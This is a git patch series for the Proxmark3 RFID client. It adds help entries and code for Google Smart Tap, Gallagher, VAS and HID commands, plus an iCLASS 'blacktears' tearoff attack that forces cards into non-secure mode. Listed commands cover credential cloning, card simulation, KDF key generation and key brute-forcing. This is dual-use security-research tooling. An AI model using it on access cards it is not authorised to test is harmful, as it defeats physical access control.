continuous reader mode", + "hf gallagher reader -c -@ -> CLASSIC: continuous reader mode", + "hf gallagher reader --aid 2081f4 --sitekey 00112233445566778899aabbccddeeff -> DESFIRE: skip CAD" ], "offline": true, "options": [ @@ -3344,13 +3376,99 @@ "--sitekey Site key to compute diversified keys (16 bytes)", "-@, --continuous Continuous reader mode", "--apdu Show APDU requests and responses", + "-v, --verbose Verbose output", + "-c, --classic Read Gallagher mifare Classic card" + ], + "usage": "hf gallagher reader [-h@vc] [--aid ] [--sitekey ] [--apdu]" + }, + "hf gallagher test": { + "command": "hf gallagher test", + "description": "Test the function of Gallagher Mifare Core", + "notes": [ + "hf gallagher test" + ], + "offline": true, + "options": [ + "-h, --help This help" + ], + "usage": "hf gallagher test [-h]" + }, + "hf gst help": { + "command": "hf gst help", + "description": "----------- ----------------------- General ----------------------- help This help list List ISO 14443A/7816 history test Perform self tests --------------------------------------------------------------------------------------- hf gst list available offline: yes Alias of `trace list -t 7816` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol", + "notes": [ + "hf gst list --frame -> show frame delay times", + "hf gst list -1 -> use trace buffer" + ], + "offline": true, + "options": [ + "-h, --help This help", + "-1, --buffer use data from trace buffer", + "--frame show frame delay times", + "-c mark CRC bytes", + "-r show relative times (gap and duration)", + "-u display times in microseconds instead of clock cycles", + "-x show hexdump to convert to pcap(ng)", + "or to import into Wireshark using encapsulation type \"ISO 14443\"", + "-f, --file filename of dictionary" + ], + "usage": "hf gst list [-h1crux] [--frame] [-f ]" + }, + "hf gst info": { + "command": "hf gst info", + "description": "Select OSE / Smart Tap applet and print capabilities.", + "notes": [ + "hf gst info", + "hf gst info --select-smarttap2 yes -a" + ], + "offline": false, + "options": [ + "-h, --help This help", + "--select-smarttap2 Whether to perform Smart Tap applet select (default: auto)", + "-a, --apdu Show APDU requests and responses" + ], + "usage": "hf gst info [-ha] [--select-smarttap2 ]" + }, + "hf gst read": { + "command": "hf gst read", + "description": "Execute Google Smart Tap read flow and print parsed pass objects.", + "notes": [ + "hf gst read --cid 20180608 --rpk gst.google.der", + "hf gst read --cid 13380028 --rpk gst.passkit.der", + "hf gst read --cid 20180608 --rpk \"" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-c, --collector-id, --collectorid, --cid Collector identifier (32-bit value)", + "-p, --reader-private-key, --readerprivkey, --rpk Reader private key: PEM, DER hex, scalar hex/base64, or file path", + "--key-version, --keyversion, --kv Long-term key version (default: 1)", + "--session-id, --sid Session id (8 bytes, random if omitted)", + "--reader-nonce, --nonce Reader nonce (32 bytes, random if omitted)", + "--reader-ephemeral-private-key, --ephemeral-privkey, --epk Reader ephemeral private key (32 bytes, random if omitted)", + "--mode Reader mode (default: pass-over-payment)", + "--select-smarttap2 Whether to perform Smart Tap applet select (default: auto)", + "--no-live-auth Use zeroed handset nonce for reader signature", + "-a, --apdu Show APDU requests and responses", "-v, --verbose Verbose output" ], - "usage": "hf gallagher reader [-h@v] [--aid ] [--sitekey ] [--apdu]" + "usage": "hf gst read [-hav] -c -p [--key-version ] [--session-id ] [--reader-nonce ] [--reader-ephemeral-private-key ] [--mode ] [--select-smarttap2 ] [--no-live-auth]" + }, + "hf gst test": { + "command": "hf gst test", + "description": "Perform self tests", + "notes": [ + "hf gst test" + ], + "offline": true, + "options": [ + "-h, --help This help" + ], + "usage": "hf gst test [-h]" }, "hf help": { "command": "hf help", - "description": "-------- ----------------------- High Frequency ----------------------- 14a { ISO14443A RFIDs... } 14b { ISO14443B RFIDs... } 15 { ISO15693 RFIDs... } aliro { ALIRO digital access credentials... } cipurse { Cipurse transport Cards... } epa { German Identification Card... } emrtd { Machine Readable Travel Document... } felica { ISO18092 / FeliCa RFIDs... } fido { FIDO and FIDO2 authenticators... } fudan { Fudan RFIDs... } gallagher { Gallagher DESFire RFIDs... } iclass { ICLASS RFIDs... } ict { ICT MFC/DESfire RFIDs... } jooki { Jooki RFIDs... } ksx6924 { KS X 6924 (T-Money, Snapper+) RFIDs } legic { LEGIC RFIDs... } lto { LTO Cartridge Memory RFIDs... } mf { MIFARE RFIDs... } mfp { MIFARE Plus RFIDs... } mfu { MIFARE Ultralight RFIDs... } mfdes { MIFARE Desfire RFIDs... } ntag424 { NXP NTAG 4242 DNA RFIDs... } saflok { Saflok MFC RFIDs... } seos { SEOS RFIDs... } st25ta { ST25TA RFIDs... } tesla { TESLA Cards... } texkom { Texkom RFIDs... } thinfilm { Thinfilm RFIDs... } topaz { TOPAZ (NFC Type 1) RFIDs... } vas { Apple Value Added Service... } waveshare { Waveshare NFC ePaper... } xerox { Fuji/Xerox cartridge RFIDs... } ----------- --------------------- General --------------------- help This help list List protocol data in trace buffer search Search for known HF tags --------------------------------------------------------------------------------------- hf list available offline: yes Alias of `trace list -t raw` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol", + "description": "-------- ----------------------- High Frequency ----------------------- 14a { ISO14443A RFIDs... } 14b { ISO14443B RFIDs... } 15 { ISO15693 RFIDs... } aliro { ALIRO digital access credentials... } cipurse { Cipurse transport Cards... } epa { German Identification Card... } emrtd { Machine Readable Travel Document... } felica { ISO18092 / FeliCa RFIDs... } fido { FIDO and FIDO2 authenticators... } fudan { Fudan RFIDs... } gallagher { Gallagher DESFire RFIDs... } gst { Google Smart Tap passes... } iclass { ICLASS RFIDs... } ict { ICT MFC/DESfire RFIDs... } jooki { Jooki RFIDs... } ksx6924 { KS X 6924 (T-Money, Snapper+) RFIDs } legic { LEGIC RFIDs... } lto { LTO Cartridge Memory RFIDs... } mf { MIFARE RFIDs... } mfp { MIFARE Plus RFIDs... } mfu { MIFARE Ultralight RFIDs... } mfdes { MIFARE Desfire RFIDs... } ntag424 { NXP NTAG 4242 DNA RFIDs... } saflok { Saflok MFC RFIDs... } seos { SEOS RFIDs... } st25ta { ST25TA RFIDs... } tesla { TESLA Cards... } texkom { Texkom RFIDs... } thinfilm { Thinfilm RFIDs... } topaz { TOPAZ (NFC Type 1) RFIDs... } vas { Apple Value Added Service... } waveshare { Waveshare NFC ePaper... } xerox { Fuji/Xerox cartridge RFIDs... } ----------- --------------------- General --------------------- help This help list List protocol data in trace buffer search Search for known HF tags --------------------------------------------------------------------------------------- hf list available offline: yes Alias of `trace list -t raw` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol", "notes": [ "hf list --frame -> show frame delay times", "hf list -1 -> use trace buffer" @@ -3369,6 +3487,29 @@ ], "usage": "hf list [-h1crux] [--frame] [-f ]" }, + "hf iclass blacktears": { + "command": "hf iclass blacktears", + "description": "Tear off the iCLASS (new-silicon only) configuration block to set non-secure page mode. Make sure you know the target card credit key. Typical `--ki 1` or `--ki 3`", + "notes": [ + "hf iclass blacktears -k 001122334455667B", + "hf iclass blacktears --ki 1" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-k, --key Access key as 8 hex bytes", + "--ki Key index to select key from memory 'hf iclass managekeys'", + "--credit key is assumed to be the credit key", + "-s tearoff delay start (in us) must be between 1 and 43000 (43ms). Precision is about 1/3 us", + "-i tearoff delay increment (in us) - default 10", + "-e tearoff delay end (in us) must be a higher value than the start delay", + "-o, --otp Custom OTP value as 2 hex bytes", + "--raw no computations applied to key", + "-v, --verbose verbose output", + "--shallow use shallow (ASK) reader modulation instead of OOK" + ], + "usage": "hf iclass blacktears [-hv] [-k ] [--ki ] [--credit] [-s ] [-i ] [-e ] [-o ] [--raw] [--shallow]" + }, "hf iclass calcnewkey": { "command": "hf iclass calcnewkey", "description": "Calculate new keys for updating (blocks 3 & 4)", @@ -4928,21 +5069,25 @@ }, "hf mf encodehid": { "command": "hf mf encodehid", - "description": "Encode binary wiegand to card Use either --bin or --wiegand/--fc/--cn", + "description": "Encode HID/Wiegand data to a MIFARE Classic card Use one of --bin, --raw, --new, or --wiegand/--fc/--cn", "notes": [ "hf mf encodehid --bin 10001111100000001010100011 -> FC 31 CN 337 (H10301)", + "hf mf encodehid --raw 063E02A3", + "hf mf encodehid --new 068F80A8C0", "hf mf encodehid -w H10301 --fc 31 --cn 337" ], "offline": false, "options": [ "-h, --help This help", "--bin Binary string i.e 0001001001", + "--raw HID raw hex with sentinel bit already present", + "--new new ASN.1 PACS hex from `wiegand encode --new`", "--fc facility code", "--cn card number", "-w, --wiegand see `wiegand list` for available formats", "-v, --verbose verbose output" ], - "usage": "hf mf encodehid [-hv] [--bin ] [--fc ] [--cn ] [-w ]" + "usage": "hf mf encodehid [-hv] [--bin ] [--raw ] [--new ] [--fc ] [--cn ] [-w ]" }, "hf mf esave": { "command": "hf mf esave", @@ -5383,7 +5528,7 @@ }, "hf mf keygen": { "command": "hf mf keygen", - "description": "Generate key table for some known KDFs Available KDFs: 0 - Saflok / Maid 1 - MIZIP 2 - Disney Infinity 3 - Skylanders 4 - Bambu Lab Filament Spool 5 - Snapmaker Filament Spool", + "description": "Generate key table for some known KDFs Available KDFs: 0 - Saflok / Maid 1 - MIZIP 2 - Disney Infinity 3 - Skylanders 4 - Bambu Lab Filament Spool 5 - Snapmaker Filament Spool 6 - Vanderbilt ACT 7 - Kale", "notes": [ "hf mf keygen -r -k 0", "hf mf keygen -r -d -k 0", @@ -8660,30 +8805,47 @@ "options": [ "-h, --help This help", "--pid PID, pass type id", - "-k, --key path to terminal private key file", + "-k, --key, --file, --reader-private-key, --readerprivkey, --rpk Terminal private key: PEM, DER hex, scalar hex/base64, or file path", "-d, --data cryptogram to decrypt" ], - "usage": "hf vas decrypt [-h] [--pid ] [-k ] [-d ]" + "usage": "hf vas decrypt [-h] [--pid ] [-k ] [-d ]" }, "hf vas help": { "command": "hf vas help", - "description": "-------- ----------- Value Added Service ----------- help This help -------- ----------------- General ----------------- decrypt Decrypt a previously captured VAS cryptogram --------------------------------------------------------------------------------------- hf vas reader available offline: no Read and decrypt Value Added Services (VAS) message", + "description": "-------- ----------- Value Added Service ----------- help This help -------- ----------------- General ----------------- decrypt Decrypt a previously captured VAS cryptogram --------------------------------------------------------------------------------------- hf vas info available offline: no Select VAS applet and print capabilities.", "notes": [ - "hf vas reader --url https://example.com -> URL Only mode", - "hf vas reader --pid pass.com.passkit.pksamples.nfcdemo -k vas.passkit.der -@", - "hf vas reader --pid pass.com.pronto.zebra-wallet-pass.demo -k vas.zebra.der -@", - "hf vas reader --pid pass.com.springcard.springblue.generic -k vas.springcard.der -@" + "hf vas info", + "hf vas info -a" ], "offline": true, "options": [ "-h, --help This help", - "--pid PID, pass type id", - "-k, --key path to terminal private key file", + "-a, --apdu Show APDU requests and responses" + ], + "usage": "hf vas info [-ha]" + }, + "hf vas reader": { + "command": "hf vas reader", + "description": "Read and decrypt Value Added Services (VAS) message", + "notes": [ + "hf vas reader --url https://example.com -> URL Only mode", + "hf vas reader --pid pass.com.passkit.pksamples.nfcdemo -k vas.passkit.der -@", + "hf vas reader --pid pass.com.pronto.zebra-wallet-pass.demo -k vas.zebra.der -@", + "hf vas reader --pid pass.com.springcard.springblue.generic -k vas.springcard.der -@", + "hf vas reader --pid pass.id.one --pid pass.id.two -k key.one.der -k key.two.der", + "hf vas reader --mode vasandpay --pid pass.id -k key.der" + ], + "offline": false, + "options": [ + "-h, --help This help", + "--pid PID, pass type id (repeat --pid for multiple values)", + "-k, --key, --file, --reader-private-key, --readerprivkey, --rpk Terminal private key (repeat --key for multiple values)", "--url a URL to provide to the mobile device", + "--mode VAS mode used in ECP and GET DATA capabilities", "-@ continuous mode", "-v, --verbose Verbose output" ], - "usage": "hf vas reader [-h@v] [--pid ] [-k ] [--url ]" + "usage": "hf vas reader [-h@v] [--pid ]... [-k ]... [--url ] [--mode ]" }, "hf waveshare help": { "command": "hf waveshare help", @@ -10317,6 +10479,8 @@ "description": "clone a HID Prox tag to a T55x7, Q5/T5555 or EM4305/4469 tag. Tag must be on the antenna when issuing this command.", "notes": [ "lf hid clone -r 2006ec0c86 -> write raw value for T55x7 tag (HID 10301 26 bit)", + "lf hid clone --bin 10001111100000001010100011 -> write binary HID payload for T55x7 tag", + "lf hid clone --new 068F80A8C0 -> write PACS-encoded HID payload for T55x7 tag", "lf hid clone -r 2e0ec00c87 -> write raw value for T55x7 tag (HID Corporate 35 bit)", "lf hid clone -r 01f0760643c3 -> write raw value for T55x7 tag (HID P10001 40 bit)", "lf hid clone -r 01400076000c86 -> write raw value for T55x7 tag (HID Corporate 48 bit)", @@ -10335,9 +10499,10 @@ "-r, --raw raw bytes", "--q5 optional - specify writing to Q5/T5555 tag", "--em optional - specify writing to EM4305/4469 tag", - "--bin Binary string i.e 0001001001" + "--bin Binary string i.e 0001001001", + "--new new ASN.1 PACS hex from `wiegand encode --new`" ], - "usage": "lf hid clone [-h] [-w ] [--fc ] [--cn ] [-i ] [-o ] [-r ] [--q5] [--em] [--bin ]" + "usage": "lf hid clone [-h] [-w ] [--fc ] [--cn ] [-i ] [-o ] [-r ] [--q5] [--em] [--bin ] [--new ]" }, "lf hid help": { "command": "lf hid help", @@ -10369,9 +10534,9 @@ "description": "Enables simulation of HID card with card number. Simulation runs until the button is pressed or another USB command is issued.", "notes": [ "lf hid sim -r 2006ec0c86 -> HID 10301 26 bit", + "lf hid sim --bin 10001111100000001010100011", + "lf hid sim --new 068F80A8C0", "lf hid sim -r 2e0ec00c87 -> HID Corporate 35 bit", - "lf hid sim -r 01f0760643c3 -> HID P10001 40 bit", - "lf hid sim -r 01400076000c86 -> HID Corporate 48 bit", "lf hid sim -w H10301 --fc 118 --cn 1603 -> HID 10301 26 bit" ], "offline": false, @@ -10382,9 +10547,11 @@ "--cn card number", "-i issue level", "-o, --oem OEM code", - "-r, --raw raw bytes" + "-r, --raw raw bytes", + "--bin Binary string i.e 0001001001", + "--new new ASN.1 PACS hex from `wiegand encode --new`" ], - "usage": "lf hid sim [-h] [-w ] [--fc ] [--cn ] [-i ] [-o ] [-r ]" + "usage": "lf hid sim [-h] [-w ] [--fc ] [--cn ] [-i ] [-o ] [-r ] [--bin ] [--new ]" }, "lf hid watch": { "command": "lf hid watch", @@ -13917,14 +14084,14 @@ "description": "Decode raw hex or binary to wiegand format", "notes": [ "wiegand decode --raw 2006F623AE", - "wiegand decode --new 06BD88EB80 -> 4..8 bytes, new padded format" + "wiegand decode --new 06BD88EB80 -> 4..13 bytes, new ASN.1 encoded format" ], "offline": true, "options": [ "-h, --help This help", "-r, --raw raw hex to be decoded", "-b, --bin binary string to be decoded", - "-n, --new new padded pacs as raw hex to be decoded", + "-n, --new new ASN.1 encoded data as raw hex to be decoded", "-f, --force skip preabmle checking, brute force all possible lengths for raw hex input" ], "usage": "wiegand decode [-hf] [-r ] [-b ] [-n ]" @@ -13934,19 +14101,24 @@ "description": "Encode wiegand formatted number to raw hex", "notes": [ "wiegand encode --fc 101 --cn 1337 -> show all formats", - "wiegand encode -w H10301 --fc 101 --cn 1337 -> H10301 format" + "wiegand encode -w H10301 --fc 101 --cn 1337 -> H10301 format", + "wiegand encode --bin 1 -> raw wiegand hex with sentinel", + "wiegand encode -w H10301 --fc 123 --cn 4567 --new -> new ASN.1 encoded format" ], "offline": true, "options": [ "-h, --help This help", + "-b, --bin binary string to be encoded", "--fc facility number", "--cn card number", "--issue issue level", "--oem OEM code", "-w, --wiegand see `wiegand list` for available formats", - "--pre add HID ProxII preamble to wiegand output" + "-n, --new encode to new ASN.1 encoded format", + "--pre add HID ProxII preamble to wiegand output", + "-v, --verbose verbose output" ], - "usage": "wiegand encode [-h] [--fc ] --cn [--issue ] [--oem ] [-w ] [--pre]" + "usage": "wiegand encode [-hnv] [-b ] [--fc ] [--cn ] [--issue ] [--oem ] [-w ] [--pre]" }, "wiegand help": { "command": "wiegand help", @@ -13962,8 +14134,8 @@ } }, "metadata": { - "commands_extracted": 798, + "commands_extracted": 806, "extracted_by": "PM3Help2JSON v1.00", - "extracted_on": "2026-03-11T21:39:07" + "extracted_on": "2026-03-20T02:30:24" } } diff --git a/doc/commands.md b/doc/commands.md index fd30f27f2..f6cff970e 100644 --- a/doc/commands.md +++ b/doc/commands.md @@ -350,6 +350,7 @@ Check column "offline" for their availability. |`hf felica sniff `|N |`Sniff ISO 18092/FeliCa traffic` |`hf felica wrbl `|N |`write block data to an authentication-not-required Service.` |`hf felica dump `|N |`Wait for and try dumping FeliCa` +|`hf felica discnodes `|N |`discover Area Code and Service Code nodes.` |`hf felica rqservice `|N |`verify the existence of Area and Service, and to acquire Key Version.` |`hf felica rqresponse `|N |`verify the existence of a card and its Mode.` |`hf felica scsvcode `|N |`acquire Area Code and Service Code.` @@ -399,12 +400,26 @@ Check column "offline" for their availability. |command |offline |description |------- |------- |----------- |`hf gallagher help `|Y |`This help` -|`hf gallagher reader `|N |`Read & decode all Gallagher credentials on a DESFire card` -|`hf gallagher clone `|N |`Add Gallagher credentials to a DESFire card` +|`hf gallagher reader `|N |`Read & decode all Gallagher credentials on a DESFire or Classic card` +|`hf gallagher clone `|N |`Clone Gallagher credentials to a DESFire or Classic card` |`hf gallagher delete `|N |`Delete Gallagher credentials from a DESFire card` |`hf gallagher diversifykey`|Y |`Diversify Gallagher key` |`hf gallagher decode `|Y |`Decode Gallagher credential block` |`hf gallagher encode `|Y |`Encode Gallagher credential block` +|`hf gallagher test `|Y |`Test the function of Gallagher Mifare Core` + + +### hf gst + + { Google Smart Tap passes... } + +|command |offline |description +|------- |------- |----------- +|`hf gst help `|Y |`This help` +|`hf gst list `|Y |`List ISO 14443A/7816 history` +|`hf gst test `|Y |`Perform self tests` +|`hf gst info `|N |`Get Google Smart Tap applet information` +|`hf gst read `|N |`Read and decode Google Smart Tap pass objects` ### hf iclass @@ -431,6 +446,7 @@ Check column "offline" for their availability. |`hf iclass legrec `|N |`Recovers 24 bits of the diversified key of a legacy card provided a valid nr-mac combination` |`hf iclass legbrute `|Y |`Bruteforces 40 bits of a partial diversified key, provided 24 bits of the key and two valid nr-macs` |`hf iclass unhash `|Y |`Reverses a diversified key to retrieve hash0 pre-images after DES encryption` +|`hf iclass blacktears `|N |`Automated tearoff attack on new silicon cards to enable non-secure page mode` |`hf iclass sim `|N |`Simulate iCLASS tag` |`hf iclass eload `|N |`Upload file into emulator memory` |`hf iclass esave `|N |`Save emulator memory to file` @@ -837,6 +853,7 @@ Check column "offline" for their availability. |command |offline |description |------- |------- |----------- |`hf vas help `|Y |`This help` +|`hf vas info `|N |`Get VAS applet information` |`hf vas reader `|N |`Read and decrypt VAS message` |`hf vas decrypt `|Y |`Decrypt a previously captured VAS cryptogram` From 2c19f0218f340375adb2e0e225c1a2081fa57014 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 20 Mar 2026 09:50:30 +0700 Subject: [PATCH 127/162] update vocabulary --- client/src/pm3line_vocabulary.h | 3 +++ 1 file changed, 3 insertions(+) diff --git a/client/src/pm3line_vocabulary.h b/client/src/pm3line_vocabulary.h index 053e78a77..7a5fde2a0 100644 --- a/client/src/pm3line_vocabulary.h +++ b/client/src/pm3line_vocabulary.h @@ -251,6 +251,7 @@ const static vocabulary_t vocabulary[] = { { 0, "hf felica sniff" }, { 0, "hf felica wrbl" }, { 0, "hf felica dump" }, + { 0, "hf felica discnodes" }, { 0, "hf felica rqservice" }, { 0, "hf felica rqresponse" }, { 0, "hf felica scsvcode" }, @@ -282,6 +283,7 @@ const static vocabulary_t vocabulary[] = { { 1, "hf gallagher diversifykey" }, { 1, "hf gallagher decode" }, { 1, "hf gallagher encode" }, + { 1, "hf gallagher test" }, { 1, "hf gst help" }, { 1, "hf gst list" }, { 1, "hf gst test" }, @@ -305,6 +307,7 @@ const static vocabulary_t vocabulary[] = { { 0, "hf iclass legrec" }, { 1, "hf iclass legbrute" }, { 1, "hf iclass unhash" }, + { 0, "hf iclass blacktears" }, { 0, "hf iclass sim" }, { 0, "hf iclass eload" }, { 0, "hf iclass esave" }, From 938060c5370918372f9bcedbb8df3cda0ac2384e Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 20 Mar 2026 11:45:18 +0700 Subject: [PATCH 128/162] use read config block as base for write data, and textual changes for nice output --- client/src/cmdhficlass.c | 52 +++++++++++++++++++++++++++------------- 1 file changed, 36 insertions(+), 16 deletions(-) diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index 0d372110d..5a9ad0828 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -3242,6 +3242,8 @@ static int CmdHFiClass_TearBlock(const char *Cmd) { PrintAndLogEx(ERR, "Key number is invalid"); return PM3_EINVARG; } + } else { + PrintAndLogEx(SUCCESS, "Using Key... " _GREEN_("%s"), sprint_hex_inrow(key, sizeof(key))); } if (data_len && data_len != 8) { @@ -3281,6 +3283,8 @@ static int CmdHFiClass_TearBlock(const char *Cmd) { if (use_credit_key) { PrintAndLogEx(SUCCESS, "Using " _YELLOW_("credit") " key"); keyType = ICLASS_CREDIT_KEYTYPE; + } else { + PrintAndLogEx(SUCCESS, "Using " _YELLOW_("debit") " key"); } if (data_len && auth == false) { @@ -3303,6 +3307,7 @@ static int CmdHFiClass_TearBlock(const char *Cmd) { if (shallow_mod) { payload_rdr.flags |= FLAG_ICLASS_READER_SHALLOW_MOD; } + clearCommandBuffer(); PacketResponseNG resp; SendCommandNG(CMD_HF_ICLASS_READER, (uint8_t *)&payload_rdr, sizeof(iclass_card_select_t)); @@ -3328,9 +3333,12 @@ static int CmdHFiClass_TearBlock(const char *Cmd) { int fail_tolerance = 1; if (memcmp(r->header.hdr.csn + 4, "\xFE\xFF\x12\xE0", 4) == 0) { - PrintAndLogEx(SUCCESS, "CSN................... %s ( new silicon )", sprint_hex_inrow(r->header.hdr.csn, PICOPASS_BLOCK_SIZE)); + PrintAndLogEx(SUCCESS, "New silicon detected ( %s )", _GREEN_("ok")); + PrintAndLogEx(INFO, "----------------------------------------"); + PrintAndLogEx(SUCCESS, "CSN................... %s", sprint_hex_inrow(r->header.hdr.csn, PICOPASS_BLOCK_SIZE)); } else { - PrintAndLogEx(SUCCESS, "CSN................... %s ( old silicon )", sprint_hex_inrow(r->header.hdr.csn, PICOPASS_BLOCK_SIZE)); + PrintAndLogEx(ERR, "Old silicon detected ( %s )", _GREEN_("ok")); + PrintAndLogEx(INFO, "CSN... %s", sprint_hex_inrow(r->header.hdr.csn, PICOPASS_BLOCK_SIZE)); fail_tolerance = 5; } @@ -3396,7 +3404,7 @@ static int CmdHFiClass_TearBlock(const char *Cmd) { PrintAndLogEx(SUCCESS, "Original block data... " _CYAN_("%s"), sprint_hex_inrow(data_read_orig, sizeof(data_read_orig))); PrintAndLogEx(SUCCESS, "New data to write..... " _YELLOW_("%s"), sprint_hex_inrow(data, sizeof(data))); PrintAndLogEx(SUCCESS, "Target block.......... " _YELLOW_("%u") " / " _YELLOW_("0x%02x"), blockno, blockno); - PrintAndLogEx(SUCCESS, "Using Key............. " _YELLOW_("%s"), sprint_hex_inrow(key, sizeof(key)));; + // turn off Device side debug messages uint8_t dbg_curr = DBG_NONE; if (getDeviceDebugLevel(&dbg_curr) != PM3_SUCCESS) { @@ -3724,8 +3732,8 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { CLIParserInit(&ctx, "hf iclass blacktears", "Tear off the iCLASS (new-silicon only) configuration block to set non-secure page mode.\n" "Make sure you know the target card credit key. Typical `--ki 1` or `--ki 3`\n", - "hf iclass blacktears -k 001122334455667B\n" - "hf iclass blacktears --ki 1" + "hf iclass blacktears -k 001122334455667B <-- debit custom key\n" + "hf iclass blacktears --credit --ki 1 <-- credit key at index 1" ); void *argtable[] = { @@ -3806,6 +3814,8 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { PrintAndLogEx(ERR, "Key number is invalid"); return PM3_EINVARG; } + } else { + PrintAndLogEx(SUCCESS, "Using Key... " _GREEN_("%s"), sprint_hex_inrow(key, sizeof(key))); } if (otp_len > 0) { @@ -3820,8 +3830,10 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { int loop_count = 0; int isok = PM3_SUCCESS; bool read_ok = false; + uint8_t keyType = ICLASS_DEBIT_KEYTYPE; - if (use_credit_key == true) { + + if (use_credit_key) { PrintAndLogEx(SUCCESS, "Using " _YELLOW_("credit") " key"); keyType = ICLASS_CREDIT_KEYTYPE; } else { @@ -3866,10 +3878,13 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { int fail_tolerance = 1; if (memcmp(r->header.hdr.csn + 4, "\xFE\xFF\x12\xE0", 4) == 0) { - PrintAndLogEx(SUCCESS, "CSN................... %s ( new silicon )", sprint_hex_inrow(r->header.hdr.csn, PICOPASS_BLOCK_SIZE)); + PrintAndLogEx(SUCCESS, "New silicon detected ( %s )", _GREEN_("ok")); + PrintAndLogEx(INFO, "----------------------------------------"); + PrintAndLogEx(SUCCESS, "CSN.................... %s", sprint_hex_inrow(r->header.hdr.csn, PICOPASS_BLOCK_SIZE)); } else { - PrintAndLogEx(FAILED, "CSN................... %s ( old silicon )", sprint_hex_inrow(r->header.hdr.csn, PICOPASS_BLOCK_SIZE)); - PrintAndLogEx(FAILED, "Old Silicon is not Supported for this operation."); + PrintAndLogEx(ERR, "Old silicon detected ( %s )", _RED_("fail")); + PrintAndLogEx(INFO, "Unsupported for this operation"); + PrintAndLogEx(INFO, "CSN... %s", sprint_hex_inrow(r->header.hdr.csn, PICOPASS_BLOCK_SIZE)); DropField(); return PM3_ESOFT; } @@ -3884,7 +3899,7 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { } if (pagemap == 0x0) { - PrintAndLogEx(WARNING, _RED_("No auth possible. Read only if RA is enabled")); + PrintAndLogEx(WARNING, _RED_("No auth possible. Read only if " _YELLOW_("RA") " is enabled")); goto out; } @@ -3894,6 +3909,8 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { #define TEAR_PERSO_STABLE2 0x9C #define TEAR_UNLOCKED 0xAC + #define TEAR_IS_PERSO_SET(x) ((x) & 0x80 == 1) + #define TEAR_BAD(x) ((x) & 0x1 == 0) // perform initial read here, repeat if failed or 00s @@ -3921,10 +3938,13 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { } } - PrintAndLogEx(SUCCESS, "Original block data... " _CYAN_("%s"), sprint_hex_inrow(data_read_orig, sizeof(data_read_orig))); - PrintAndLogEx(SUCCESS, "New data to write..... " _YELLOW_("%s"), sprint_hex_inrow(data, sizeof(data))); - PrintAndLogEx(SUCCESS, "Target block.......... " _YELLOW_("%u") " / " _YELLOW_("0x%02x"), blockno, blockno); - PrintAndLogEx(SUCCESS, "Using Key............. " _YELLOW_("%s"), sprint_hex_inrow(key, sizeof(key)));; + memcpy(data, data_read_orig, sizeof(data)); + data[7] = 0x2C; + + PrintAndLogEx(SUCCESS, "Original block data.... " _CYAN_("%s"), sprint_hex_inrow(data_read_orig, sizeof(data_read_orig))); + PrintAndLogEx(SUCCESS, "New data to write...... " _YELLOW_("%s"), sprint_hex_inrow(data, sizeof(data))); + PrintAndLogEx(SUCCESS, "Target block........... " _YELLOW_("%u") " / " _YELLOW_("0x%02x"), blockno, blockno); + // turn off Device side debug messages uint8_t dbg_curr = DBG_NONE; if (getDeviceDebugLevel(&dbg_curr) != PM3_SUCCESS) { @@ -3938,11 +3958,11 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { // clear trace log SendCommandNG(CMD_BUFF_CLEAR, NULL, 0); - PrintAndLogEx(INFO, "---------------------------------------"); + PrintAndLogEx(INFO, "----------------------------------------"); PrintAndLogEx(NORMAL, ""); PrintAndLogEx(INFO, "Press " _GREEN_("") " to exit"); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(INFO, "--------------- " _CYAN_("start") " -----------------\n"); + PrintAndLogEx(INFO, "--------------- " _CYAN_("start") " ------------------\n"); // Main loop while ((tearoff_start <= tearoff_end) && (read_ok == false)) { From 4d1304166ffa3a1c8ee525af725211a29207a9e0 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 20 Mar 2026 12:30:04 +0700 Subject: [PATCH 129/162] fix calloc handling, thanks to @antiklesys! --- client/src/cmdhficlass.c | 51 ++++++++++++++++++++++++++++++++++------ 1 file changed, 44 insertions(+), 7 deletions(-) diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index 5a9ad0828..6c446c0bb 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -98,6 +98,7 @@ bool check_known_default(uint8_t *csn, uint8_t *epurse, uint8_t *rmac, uint8_t * iclass_prekey_t *prekey = calloc(ICLASS_KEYS_MAX * 2, sizeof(iclass_prekey_t)); if (prekey == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return false; } @@ -228,6 +229,11 @@ static void iclass_upload_emul(uint8_t *d, uint16_t n, uint16_t offset, uint16_t } struct p *payload = calloc(4 + bytes_in_packet, sizeof(uint8_t)); + if (payload == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + break; + } + payload->offset = offset + *bytes_sent; payload->len = bytes_in_packet; memcpy(payload->data, d + *bytes_sent, bytes_in_packet); @@ -1121,7 +1127,11 @@ int read_iclass_csn(bool loop, bool verbose, bool shallow_mod) { } picopass_hdr_t *card = calloc(1, sizeof(picopass_hdr_t)); - if (card) { + if (card == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + DropField(); + return PM3_EMALLOC; + } else { memcpy(card, &r->header.hdr, sizeof(picopass_hdr_t)); if (loop == false) { PrintAndLogEx(NORMAL, ""); @@ -1130,9 +1140,6 @@ int read_iclass_csn(bool loop, bool verbose, bool shallow_mod) { 